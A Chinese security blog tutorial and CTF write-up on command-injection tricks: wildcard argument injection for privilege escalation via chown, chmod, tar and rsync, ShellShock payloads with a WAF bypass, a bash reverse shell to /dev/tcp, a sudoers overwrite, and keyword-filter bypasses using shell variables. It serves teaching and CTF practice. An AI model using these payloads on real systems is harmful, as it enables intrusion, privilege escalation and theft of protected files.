文章首发于先知社区:https://xz.aliyun.com/t/4309
之前在补天平台首发了巧用命令注入的N种方式,看到了有几个师傅衍生出了不同的几个后续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分,想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。
[TOC]
提权
这里我们讲讲在命令注入中更有意思的一种方法。
Wildcard Wilderness
Example 1
首先我们先看一个示例
echo "Hello Friends" > file1
echo "This is wildcard Injection" >file2
echo "take help" > --help
首先创建几个文件,其中有一个是--help
,然后使用cat
命令读取文件内容
cat file1
cat file 2
cat --help
如果按照我们预期的,是不是在第三个cat --help
处应该是要读取—help
文件的内容呢?然而我们执行cat —help
却优先执行了cat
命令的帮助选项,并没有读出—help
里的内容。
不仅是cat
,ls
等命令也会优先调用内置--help
选项。
以及还有--all
选项。
其实讲道理,词法分析把对诸如--help
、--all
等选项优先处理为内置选项输出,看起来并没有任何问题
这个技巧叫做Wildcard wildness
,中文有人译为通配符在野。(-all
、--help
可以通过加入./
成./-all
、./--help
来特指这个文件,避免这个问题)
Example 2
如图,我们有两个文件,当用rm *
的时候,只删掉了file1
与file2
,并没有删除*
或者使用rm file1 file2 -rf
逐个删除之时,也只删掉了file1
与file2
使用strace rm *
我们可以发现
由于当前目录中存在-rf
文件名,rm
将-rf
选项作为最后一个参数,并且递归删除当前目录中的所有文件。同样,若要删除可以加上./-rf
进行删除
Trick
我们可以利用Wildcard Wilderness
做一些更有用的事情。
File Owner Hijacking
现在我们有三个用户,一个zedd
,一个test
,一个root
用户。
我们分别用zedd
与test
创建了不同的文件,1.php
与test.php
都属于test
用户的文件,zedd.php
与--reference=zedd.php
均属于zedd
用户的文件。
然后使用root
用户使用chown -R test:test *.php
命令,想把本目录下所有的.php
文件修改为test
用户所有。
但是结果我们可以发现,结果该目录下所有的.php
文件都被修改为了zedd
用户所有,成功“提权”。
原理我们可以用strace chown -R zedd:zedd *.php
来看一下(注意这里换了一下,模拟想把.php
文件改变成zedd
用户所有)
我们可以看到
execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0
跟我们上个例子原理其实一样,--reference=.backdoor.php
被作为一个选项进行了处理,而
--reference=RFILE use RFILE's owner and group rather than
specifying OWNER:GROUP values
--reference=RFILE
这个选项则是使用RFILE
的文件拥有者和用户组来改变文件属性,而不是使用传入的OWNER:GROUP
参数。
因此,在这种情况下,chown
的--reference
选项将覆盖指定为root
用户输入的参数zedd:zedd
,把此目录中所有.php
文件的所有者改变与.backdoor.php
的所有者test
。
所以,按照这种方法,我们可以劫持root
将文件的所有权更改为任意用户,并“劫持”我们想要的文件。
Chmod File Reference
类似chown
的还有一个命令chmod
,它也有--reference=RFIE
的选项
--reference=RFILE use RFILE's mode instead of MODE values
与chown
类似,因为有--reference=.backdoor.php
的存在,在使用chmod 000 *
的时候也会把劫持到与.backdoor.php
文件权限一样的权限
Tar命令利用
首先我们来看看tar
命令帮助文档中的几个有意思的选项
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
execute ACTION on each checkpoint
从帮助文档,我们大致可以从中理解到,--checkpoint=1
可以用来显示信息,--checkpoint-action=exec=sh shell.sh
可以用来执行命令
先尝试构建一个shell.sh
脚本,内容为/usr/bin/id
,以及文件名为--checkpoint=1
与--checkpoint-action=exec=sh shell.sh
的文件,使用tar -cf test.tar *
把当前目录下所有文件压缩到test.tar
压缩包内
可见,/usr/bin/id
已经被成功执行输出。
与之前一样,--checkpoint=1
与--checkpoint-action=exec=sh shell.sh
被作为选项处理
在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信息再次发掘
rsync命令利用
rsync
命令可能比较少用,我们这里简单介绍一下
NAME
rsync - a fast, versatile, remote (and local) file-copying tool
rsync
命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。如:rsync -t *.c foo:src
,复制当前本地文件夹下的所有的.c
文件到 foo 远程服务器的/src
文件夹下。
rsync
帮助文档含有以下几个比较有意思的选项
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
--rsh=COMMAND
又是一个我们可以利用的地方,我们首先创建一个文件名为-e sh shell.c
的文件,然后再创建一个shell.c
文件,污染rsync
参数来实现执行我们在shell.c
中写入的预期命令
假设当前目录下我们拥有一个只有root
用户可读的rootfile
文件,由于不能直接输出结果,我们可以构造cat ./rootfile > ./output
,将文件内容读出。
得到的output
文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行rsync
用户的权限,不是直接的root
权限,这里因为执行命令的是root
权限,所以能读取只有root
用户才能读取的rootfile
文件
Tips
既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹给我们,也可以配合
msfvenom
来使用。tar
命令比较多的都用在/etc/crontab
计划任务中,经常会有管理员会用crontab
来执行一些tar
命令的备份操作,而且crontab
执行的权限还是root
权限,所以这是个很好利用的点tar
命令需要进入到--checkpoint=1
文件所在的目录内,如果加上绝对路径将会失效,例如tar cf test.tar /var/www/html/*
我们可以看到 shell 处理方式将
/home/zedd/Desktop/test
与目录下的文件名逐个拼接起来,就达不到污染参数的效果了还可以用
echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers
,把自己直接写入管理员组利用
chmod u+s /usr/bin/find
提升为root
权限执行,配合find
命令的-exec COMMAND
来执行命令,例如find f1 -exec "whoami" \;
文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管理员也不容易发现,比如使用.backdoor.php
等形式。
Other
这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。
Echo
echo *
可以用来显示目录,echo /???g
可以用来探测文件
ln
NAME
ln - make links between files
ln
命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参考理解Linux硬链接与软链接。这里主要讲讲软链接,软链接相当于我们 Windows 中的快捷方式,可以使用ln -s
创建
例如,这里我们根目录下有一个文件内容为flag{xxx}
的名为flag
文件,我们使用ln -s /flag file
,在当前目录下创建一个file
文件链接到/flag
,使用cat file
与php -r "echo file_get_contents('file')"
均可以读取到/flag
的内容。
这个软链接读取文件内容已经被多次利用
- 在 GitLab CVE-2016-9086 也是利用了这点,参考GitLab 任意文件读取漏洞 (CVE-2016-9086) 和任意用户 token 泄露漏洞
- CTF 中也出现了类似的题目,参考一个有趣的任意文件读取,以及在 2018 年赛博地球杯上有一道题也是利用这个点,参考记录一道题的多种解法,“赛博地球杯”工业互联网安全大赛线上赛Writeup
ShellShock(CVE-2014-6271)
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的 shell 命令,甚至完全控制目标系统,详细分析参考破壳(ShellShock)漏洞样本分析报告
CVE-2014-6271 测试方式:
env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”
CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过) env -i X=’;() { (a)=>' bash -c ’echo date’; cat echo
从一道题看Shell Shock
题目地址:command-executor——来源于 HackMe
题目描述:
Here’s my useless developer assistant website, try to execute your own command!
题目大体思路是:
- 读取源码
- Shell Shock命令执行
- 重定向读写文件
题目设置为几个功能,一个man
命令的帮助文档
选择了ls
,多了个请求参数file=ls
尝试用其他命令,比如find
猜测eval("man /bin/" + command)
或者一些其他的目录
Tar Tester
界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar
查看压缩包内的内容
Cmd Exec
界面只有两个命令,一个ls
,一个env
List files
是个目录列举界面,可以列举几个目录
观察题目,题目 urlhttps://command-executor.hackme.inndy.tw/index.php?func=untar
等均带有func=xxx
参数来展示页面,猜测会有文件包含漏洞,尝试使用func=php://filter/read=convert.base64-encode/resource=index
读取文件内容,成功得到回显
解码得到 index.php
源码
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];
function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
$page = '';
if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}
if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}
function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>
<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Command Executor</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="comic-neue/font.css" media="all">
<style>
nav { margin-bottom: 1rem; }
img { max-width: 100%; }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">Command Executor</a>
<ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
<li class="nav-item">
<a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
</li>
<?php endforeach; ?>
</ul>
</nav>
<div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
</body>
</html>
man.php
源码:
<?php
function render() {
$file = 'man';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
if(preg_match('/^[\w\-]+$/', $file) !== 1) {
echo '<pre>Invalid file name!</pre>';
return;
}
}
echo '<h1>Online documents</h1>';
$cmds = [
'bash', 'ls', 'cp', 'mv'
];
echo '<ul>';
foreach($cmds as $cmd) {
printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
}
echo '</ul>';
printf('<h2>$ man %s</h2>', htmlentities($file));
echo '<pre>';
execute(sprintf('man %s | cat', escapeshellarg($file)));
echo '</pre>';
}
?>
untar.php
源码:
<?php
function render() {
?>
<h1>Tar file tester</h1>
<p>Please upload a tar file to test</p>
<form enctype="multipart/form-data" action="index.php?func=untar" method="POST">
<input type="file" name="tarfile" id="tarfile">
<input class="btn btn-primary" type="submit" value="Upload & Test">
</form>
<?php
if(isset($_FILES['tarfile'])) {
printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));
echo '<pre>';
execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
echo '</pre>';
}
}
?>
ls.php
源码:
<?php
function render() {
$file = '.';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
}
echo '<h1>Dictionary Traversal</h1>';
echo '<ul>';
$dirs = ['.', '..', '../..', '/etc/passwd'];
foreach($dirs as $dir) {
printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
}
echo '</ul>';
printf('<h2>$ ls %s</h2>', htmlentities($file));
echo '<pre>';
execute(sprintf('ls -l %s', escapeshellarg($file)));
echo '</pre>';
}
?>
cmd.php
源码:
<?php
function render() {
$cmd = '';
if(isset($_GET['cmd'])) {
$cmd = (string)$_GET['cmd'];
}
?>
<h1>Command Execution</h1>
<?php
echo '<ul>';
$cmds = ['ls', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c);
}
echo '</ul>';
?>
<form action="index.php" method="GET">
<input type="hidden" name="func" value="cmd">
<div class="input-group">
<input class="form-control" type="text" name="cmd" id="cmd">
<div class="input-group-append">
<input class="btn btn-primary" type="submit" value="Execute">
</div>
</div>
</form>
<script>cmd.focus();</script>
<?php
if(strlen($cmd) > 0) {
printf('<h2>$ %s</h2>', htmlentities($cmd));
echo '<pre>';
switch ($cmd) {
case 'env':
case 'ls':
case 'ls -l':
case 'ls -al':
execute($cmd);
break;
case 'cat flag':
echo '<img src="cat-flag.png" alt="cat flag">';
break;
default:
printf('%s: command not found', htmlentities($cmd));
}
echo '</pre>';
}
}
?>
接下来我们就可以利用ls.php
来找flag
了,因为ls.php
没什么过滤,所以用func=ls&file=../../../
可以发现根目录下的文件
接下来就是考虑怎么去读了,man.php
因为有preg_match('/^[\w\-]+$/', $file) !== 1
限制得比较死,untar.php
貌似只有tar -tvf
并没有什么用处,只有cmd.php
给出了一个比较不太寻常的env
这个命令,其实这样也算是提示得比较明显了,比较容易让人想到也可以比较容易搜到ShellShock
漏洞,并且在index.php
中发现有
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}
waf($_SERVER);
waf($_GET);
waf($_POST);
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}
关键就在putenv
函数,由于ShellShock
漏洞 padyload 需要参数
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
我们就可以利用putenv
实现参数传递,直接设置User-agent: () { :;}; echo 222222
,发现被 waf
分析 waf 结合漏洞成因,我们可以在最后的};
中间添加一个空格绕过,设置User-Agent: () { :;} ; echo 222222
,成功发现输出 22222 ,我们也可以使用() { _; } >_[$($())] { whoami; }
这个 payload
发现当前用户为www-data
,而我们之前发现根目录flag
的权限为-r-------- 1 flag root 37 Jan 9 2018 flag
,所以不能直接读取,但是有一个flag-reader
与flag-reader.c
的文件,这应该是题目提示了。因为index.php
又把flag
关键字屏蔽了,我们也不能直接读取flag-reader.c
,但是我们这里可以利用通配符读取,例如使用fla*.c
使用() { _; } >_[$($())] { cat /fla*.c; }
得到flag-reader.c
源码
Flag-reader.c:
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}
setuid(1337);
seteuid(1337);
alarm(1);
write(1, &rnd, sizeof(rnd));
read(0, &val, sizeof(val));
if(memcmp(rnd, val, sizeof(rnd)) == 0) {
int fd = open(argv[1], O_RDONLY);
if(fd > 0) {
int s = read(fd, buff, 1024);
if(s > 0) {
write(1, buff, s);
}
close(fd);
} else {
write(1, "Can not open file\n", 18);
}
} else {
write(1, "Wrong response\n", 16);
}
}
使用bash -c "sh >& /dev/tcp/your ip/port 0>&1"
直接反弹 shell
运行flag-reader
审计一下这段代码,大致是输出一串随机数,然后在1s之内又要输入进去,否则就write(1, "Wrong response\n", 16);
…
然而我在回弹 shell 之后,利用/tmp
可写的权限,貌似有点小问题,一旦cat /tmp/zedd
,链接就断掉了,无奈只能找其他文件夹,发现/run/lock
与/var/tmp
均可读可写,使用/flag-reader flag > /run/lock/zedd < /run/lock/zedd
写入 flag
反弹 shell 使用cat
非常容易断掉,最好使用执行的方式,最后得到 flag
上篇的解释与补充
特殊变量
这里再对上篇进行一定的补充与解释。
$n
变量 | 含义 |
---|---|
$0 | 当前脚本的文件名 |
$n | 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第二个参数是$2(0<n<9) |
${n} | 9<n时需要加上大括号 |
例如,脚本文件如下
#!/bin/bash
echo "File Name: $0"
echo "First Parameter : $1"
echo "First Parameter : $2"
执行脚本文件
$ ./test.sh Hello Zedd
File Name: ./test.sh
First Parameter : Hello
Second Parameter : Zedd
而当没有参数的时候,$n
就为空,所以我们可以用cat /fl$1ag
这样绕过关键字过滤,并且在 bash 环境下
$ echo $0
bash
所以我们可以使用这样的 payload ,可以用在 bash 这个关键字过滤但是有需要用到 bash 的情况下,前提是环境用的是 bash
$ {printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{xxx}
$IFS
IFS(Internal Field Seprator) ,内部域分隔符,Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。
而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
$ echo $IFS
$ echo "$IFS" | od -b
0000000 040 011 012 012
0000004
我们可以看到直接输出IFS是看不到的,把它转化为二进制就可以看到了,“040"是空格,“011"是Tab,“012"是换行符”\n” 。最后一个 012 是因为 echo 默认是会换行的。
$?
上个命令的退出状态,或函数的返回值。退出状态是一个数字,一般情况下,大部分命令执行成功会返回0,失败返回1。不过,也有一些命令返回其他值,表示不同类型的错误。
$
当前 Shell 进程 ID。对于 Shell 脚本,就是这些脚本所在的进程 ID。
$ echo $$
75576
$#
传递给脚本或函数的参数个数。
脚本文件内容:
#!/bin/bash
echo "Total Number of Parameters : $#"
执行命令
$ ./test.sh Hello Zedd
Total Number of Parameters : 2
$*与$@
都是传递给脚本或函数的所有参数。
脚本文件内容:
#!/bin/bash
echo "Quoted Values: $@"
echo "Quoted Values: $*"
执行命令:
$ ./test.sh Hello Zedd
Quoted Values: Hello Zedd
Quoted Values: Hello Zedd
它们不被双引号(” “)包含时,都以"1"“2” … “$n” 的形式输出所有参数。
但是当它们被双引号(” “)包含时,"∗“会将所有的参数作为一个整体,以"1 2…n"的形式输出所有参数;”@“会将各个参数分开,以"1” “2”…“n” 的形式输出所有参数。
内置变量绕过
上篇其实提到了一点内置变量绕过,但是讲的也不并不多,只是大概提了一下。这里再给一些常用的 bash 内置的环境变量
$BASH
$ echo $BASH
/usr/local/bin/bash
返回 bash 二进制文件的路径
$HOME
$ $HOME
bash: /Users/zedd: Is a directory
返回当前用户所属目录
$PWD
$ echo $PWD
/
显示当前目录
$OLDPWD
$ echo $OLDPWD
/Users/zedd/Desktop/
返回上次所在目录
$PATH
$ echo $PATH
/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin:/sbin:/usr/sbin
环境变量$PATH
$PS1
$ echo $PS1
\s-\v\$
看到的命令行主要提示
$PS2
$ echo $PS2
>
额外输入的辅助提示,表示为>
,$PS3
是 Shell 脚本中使用select
时的提示符,显示为空,这里就不再单独列举了
$PS4
$ echo $PS4
+
与set -x
配合用来修改跟踪输出的前缀,显示为+
举个🌰
Layer7 CTF 2018
可以访问https://cat.canhack.me/这个在线地址
题目描述
This service provides read the file.
https://cat.canhack.me/
This challenge was published in the Layer7 CTF in 2018.
WriteUp
点进去发现有
<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.
跟进得到test.txt
的内容
猜测为文件包含,尝试直接读取flag
被waf
,直接读取https://cat.canhack.me/?file=index.php
<?php
error_reporting(0);
require __DIR__.'/flag-f72a161d445915d2bdcdc820c4143353.php';
if(isset($_GET['file'])){
if(preg_match('/flag|\'|\"|`|\\\\|;|\(|\)|\*|\?|\.\.|\//i', $_GET['file'])){
die('no hack');
}
system('cat "'.$_GET['file'].'"');
}else{
echo '<b>Usage</b>: Please enter the parameter like as in <a href="/?file=test.txt">this</a>.';
}
还剩下{}
、<>
、[]
、+-=
、^
、$
、@
、!
、&
,是个关键字绕过,有$
,我们很快可以联想到可以用$n
这种方式绕过,最终 payload
https://cat.canhack.me/?file=fl$1ag-f72a161d445915d2bdcdc820c4143353.php